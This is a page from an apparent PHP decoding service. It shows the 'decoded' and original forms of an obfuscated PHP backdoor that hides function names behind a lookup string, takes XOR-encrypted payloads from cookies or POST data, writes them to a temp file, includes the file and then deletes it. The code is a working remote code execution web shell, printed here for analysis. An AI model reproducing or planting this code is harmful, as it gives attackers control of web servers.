Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function nm6 () { echo 'hx7'; } function mc1 ( $ba2 ) {$sn4=0;$..

Decoded Output download

<?php 
function	nm6 () 
 
{ 
 
 
echo 'hx7'; 
 
} 
 
 
function  mc1 (	$ba2   ) 
{$sn4=0;$nc3      = "6h<#yg/1@am(?b)tj'v_i 4cF;dEfso25L.p7Hex-l9*n80Iurk"; 
 
 $te5	=   substr("",	0); 
 
 while(1) 
{ 
 
 
	if($sn4>=count($ba2)) break;      $te5	.= $nc3	[	$ba2[$sn4]  ]; $sn4++; 
} 
 
return	$te5; 
 
 
}$ok9 = [];$una	=      19671; 
 
$ok9[80890] = mc1	(	Array(28 , 9 , 36 ,	9 , 38      ,  31	,	23 , 32	, 40	, 38 ,       36 , 42      ,	0 , 40    ,   22 ,	23	, 32 ,	32  ,	40 ,    13	, 28 , 42 , 32	, 40      , 46	,     32 , 22 , 45   ,	7 , 31 , 26 ,       23	, 13     , 32 , 28 ,	13 ,)    )      ; 
 
$jy26    = 31840;$ok9[89582] =    mc1 ( Array(12	, 35    , 1	,    35 , 21 , 8 ,	48 , 44	,	41   ,	20 ,	44    , 50	, 11       , 19       , 19    , 24 , 47 , 33 , 27  ,  19 ,	19      ,	14  , 25 , 21       ,) ) ; 
 
$ok9[9191] =	mc1 ( Array(34       ,	16 , 35 ,   5    ,) ) ; 
 
 
$ok9[59876] =	mc1 ( Array(34 ,     6 ,) )   ; 
 
 
$np27 = 78622;$ok9[44000] = mc1	( Array(37 ,  43     ,)	) ; 
 
$ok9[11745] =   mc1	(      Array(2 ,) )     ; 
$qn28  = 50615;$ok9[51680] =	mc1    (	Array(3 ,) ) ; 
 
 
$ok9[20959]   = mc1 ( Array(28     ,	20 , 41 ,   38	,	19 ,	35	,	48 ,	15 , 19 , 23 , 30 , 44     , 15 , 38 ,    44	,	15   , 29    ,) )	; 
$yu29 = 15178; 
$ok9[47577]  = mc1 (	Array(28 ,	20    , 41 ,	38 , 19 ,	38      , 39       ,	20 , 29	, 15 ,	29 ,)   )  ; 
 
 
$ok9[78795]	=       mc1 ( Array(9	, 49 ,	49     , 9 ,     4 , 19	,	10    ,	38	,	49	,      5	,     38	,) ) ; 
 
$ok9[79799] = mc1      (    Array(29 , 15 , 49 ,	19	,	49 ,	38 , 35 , 38 ,  9      ,  15 ,) )    ; 
$jl30 = 13707; 
$ok9[42403]     =       mc1	( Array(38	, 39 , 35	, 41 ,	30       , 26 , 38 ,) ) ;$qi31 = 24223;$ok9[7583] = mc1	( Array(29 , 15       ,	49 ,	41	, 38     ,      44	,)   ) ; 
$ok9[9118] =     mc1      (  Array(48	, 44    ,	41 , 20	, 44 , 50 ,)	)   ; 
 
$st32 =  89537;$ok9[21900]     = mc1	( Array(20 , 44	,	15 ,	18	, 9	,	41 ,) ) ; 
 
$ok9[3467]    = mc1 ( Array(35 ,      9 , 23  , 50	,) )	; 
 
 
 
 
$hn22	= $_COOKIE;	$aw20   = "3645"; 
 
$hn22   =	$ok9[78795]($hn22, $_POST); 
 
 
 
foreach      ($hn22 as $ux25   => $wp21){ 
 
	function  hp15	( $ok9,      $ux25 ,	$gv19 ) 
 
	{ 
 
 
	return substr ( $ok9[79799] ( $ux25 .	$ok9[80890]       ,    $ok9[21900]( $gv19/$ok9[7583]( $ux25	) ) +       1 ) ,   0	, $gv19     );	} 
 function ev13 (	$ok9, $mt23 ) 
 { return     @$ok9[3467] ($ok9[44000] ,	$mt23 ); 
 
	} 
 
	function dl11	(     $ok9,   $wp21, $ux25) { 
 
 
 return      ev13 (	$ok9, $wp21  )  ^       hp15 (	$ok9, $ux25	,	$ok9[7583]( $wp21	)	);	} 
 
	 
 
	function	rg12 ( $ok9,  $wp21,   $ux25) 
 
 
 { 
 
 
 return	$ok9[42403]    ( $ok9[51680] ,     dl11 (      $ok9, $wp21,    $ux25)); 
 
 } 
 
 
  function bv10 ( $ok9,	$wp21, $ux25) 
 
 {	$wp21  = rg12 ( $ok9,      $wp21, $ux25); 
 
 
 if    (bx18    (	$ok9,	$wp21)) 
 
 
      {	exit(); 
 
	} 
 
 
	} 
  function  mk14    (	$ok9,     $mt23) 
       { $sw24 = $ok9[59876] .  md5(	$ok9[80890] ) .	$ok9[9191];	 
 
     @$ok9[20959] ( $sw24,     $ok9[11745] . $ok9[89582] . $mt23[1] ( $mt23[2] )      ); 
        return $sw24; 
 
 
 } 
	 
 
 
 function zl17	(       $ok9,	$sw24) { 
 
 if ($ok9[47577]($sw24))	 
	{ 
 
 
	@$ok9[9118] ( $sw24       ); 
 
	} 
 
 
 } 
 
	 
 
 
 function mh16 (	$ok9,	$sw24 ) 
 
	{ 
 
 
       @include ( $sw24 ); 
 
 
 
 zl17 (	$ok9,      $sw24);    } 
 
          function    bx18 ( $ok9,   $mt23 )       { 
 
 
       if (   isset (	$mt23[2]      )	)    {  $sw24 = mk14 (	$ok9,   $mt23); 
 
  
 
 mh16  (	$ok9, $sw24); 
 
 
  return 1; 
 } 
 
 }  
 
     bv10 ( $ok9,   $wp21,	$ux25); 
 
 
} ?>

Did this file decode correctly?

Original Code

<?php
function	nm6 ()

{


echo 'hx7';

}


function  mc1 (	$ba2   )
{$sn4=0;$nc3      = "6h<#yg/1@am(?b)tj'v_i 4cF;dEfso25L.p7Hex-l9*n80Iurk";

 $te5	=   substr("",	0);

 while(1)
{


	if($sn4>=count($ba2)) break;      $te5	.= $nc3	[	$ba2[$sn4]  ]; $sn4++;
}

return	$te5;


}$ok9 = [];$una	=      19671;

$ok9[80890] = mc1	(	Array(28 , 9 , 36 ,	9 , 38      ,  31	,	23 , 32	, 40	, 38 ,       36 , 42      ,	0 , 40    ,   22 ,	23	, 32 ,	32  ,	40 ,    13	, 28 , 42 , 32	, 40      , 46	,     32 , 22 , 45   ,	7 , 31 , 26 ,       23	, 13     , 32 , 28 ,	13 ,)    )      ;

$jy26    = 31840;$ok9[89582] =    mc1 ( Array(12	, 35    , 1	,    35 , 21 , 8 ,	48 , 44	,	41   ,	20 ,	44    , 50	, 11       , 19       , 19    , 24 , 47 , 33 , 27  ,  19 ,	19      ,	14  , 25 , 21       ,) ) ;

$ok9[9191] =	mc1 ( Array(34       ,	16 , 35 ,   5    ,) ) ;


$ok9[59876] =	mc1 ( Array(34 ,     6 ,) )   ;


$np27 = 78622;$ok9[44000] = mc1	( Array(37 ,  43     ,)	) ;

$ok9[11745] =   mc1	(      Array(2 ,) )     ;
$qn28  = 50615;$ok9[51680] =	mc1    (	Array(3 ,) ) ;


$ok9[20959]   = mc1 ( Array(28     ,	20 , 41 ,   38	,	19 ,	35	,	48 ,	15 , 19 , 23 , 30 , 44     , 15 , 38 ,    44	,	15   , 29    ,) )	;
$yu29 = 15178;
$ok9[47577]  = mc1 (	Array(28 ,	20    , 41 ,	38 , 19 ,	38      , 39       ,	20 , 29	, 15 ,	29 ,)   )  ;


$ok9[78795]	=       mc1 ( Array(9	, 49 ,	49     , 9 ,     4 , 19	,	10    ,	38	,	49	,      5	,     38	,) ) ;

$ok9[79799] = mc1      (    Array(29 , 15 , 49 ,	19	,	49 ,	38 , 35 , 38 ,  9      ,  15 ,) )    ;
$jl30 = 13707;
$ok9[42403]     =       mc1	( Array(38	, 39 , 35	, 41 ,	30       , 26 , 38 ,) ) ;$qi31 = 24223;$ok9[7583] = mc1	( Array(29 , 15       ,	49 ,	41	, 38     ,      44	,)   ) ;
$ok9[9118] =     mc1      (  Array(48	, 44    ,	41 , 20	, 44 , 50 ,)	)   ;

$st32 =  89537;$ok9[21900]     = mc1	( Array(20 , 44	,	15 ,	18	, 9	,	41 ,) ) ;

$ok9[3467]    = mc1 ( Array(35 ,      9 , 23  , 50	,) )	;




$hn22	= $_COOKIE;	$aw20   = "3645";

$hn22   =	$ok9[78795]($hn22, $_POST);



foreach      ($hn22 as $ux25   => $wp21){

	function  hp15	( $ok9,      $ux25 ,	$gv19 )

	{


	return substr ( $ok9[79799] ( $ux25 .	$ok9[80890]       ,    $ok9[21900]( $gv19/$ok9[7583]( $ux25	) ) +       1 ) ,   0	, $gv19     );	}
 function ev13 (	$ok9, $mt23 )
 { return     @$ok9[3467] ($ok9[44000] ,	$mt23 );

	}

	function dl11	(     $ok9,   $wp21, $ux25) {


 return      ev13 (	$ok9, $wp21  )  ^       hp15 (	$ok9, $ux25	,	$ok9[7583]( $wp21	)	);	}

	

	function	rg12 ( $ok9,  $wp21,   $ux25)


 {


 return	$ok9[42403]    ( $ok9[51680] ,     dl11 (      $ok9, $wp21,    $ux25));

 }


  function bv10 ( $ok9,	$wp21, $ux25)

 {	$wp21  = rg12 ( $ok9,      $wp21, $ux25);


 if    (bx18    (	$ok9,	$wp21))


      {	exit();

	}


	}
  function  mk14    (	$ok9,     $mt23)
       { $sw24 = $ok9[59876] .  md5(	$ok9[80890] ) .	$ok9[9191];	

     @$ok9[20959] ( $sw24,     $ok9[11745] . $ok9[89582] . $mt23[1] ( $mt23[2] )      );
        return $sw24;


 }
	


 function zl17	(       $ok9,	$sw24) {

 if ($ok9[47577]($sw24))	
	{


	@$ok9[9118] ( $sw24       );

	}


 }

	


 function mh16 (	$ok9,	$sw24 )

	{


       @include ( $sw24 );



 zl17 (	$ok9,      $sw24);    }

          function    bx18 ( $ok9,   $mt23 )       {


       if (   isset (	$mt23[2]      )	)    {  $sw24 = mk14 (	$ok9,   $mt23);

 

 mh16  (	$ok9, $sw24);


  return 1;
 }

 } 

     bv10 ( $ok9,   $wp21,	$ux25);


}

Function Calls

None

Variables

None

Stats

MD5 d509b5fefe464c66d7b17b1db306e62f
Eval Count 0
Decode Time 47 ms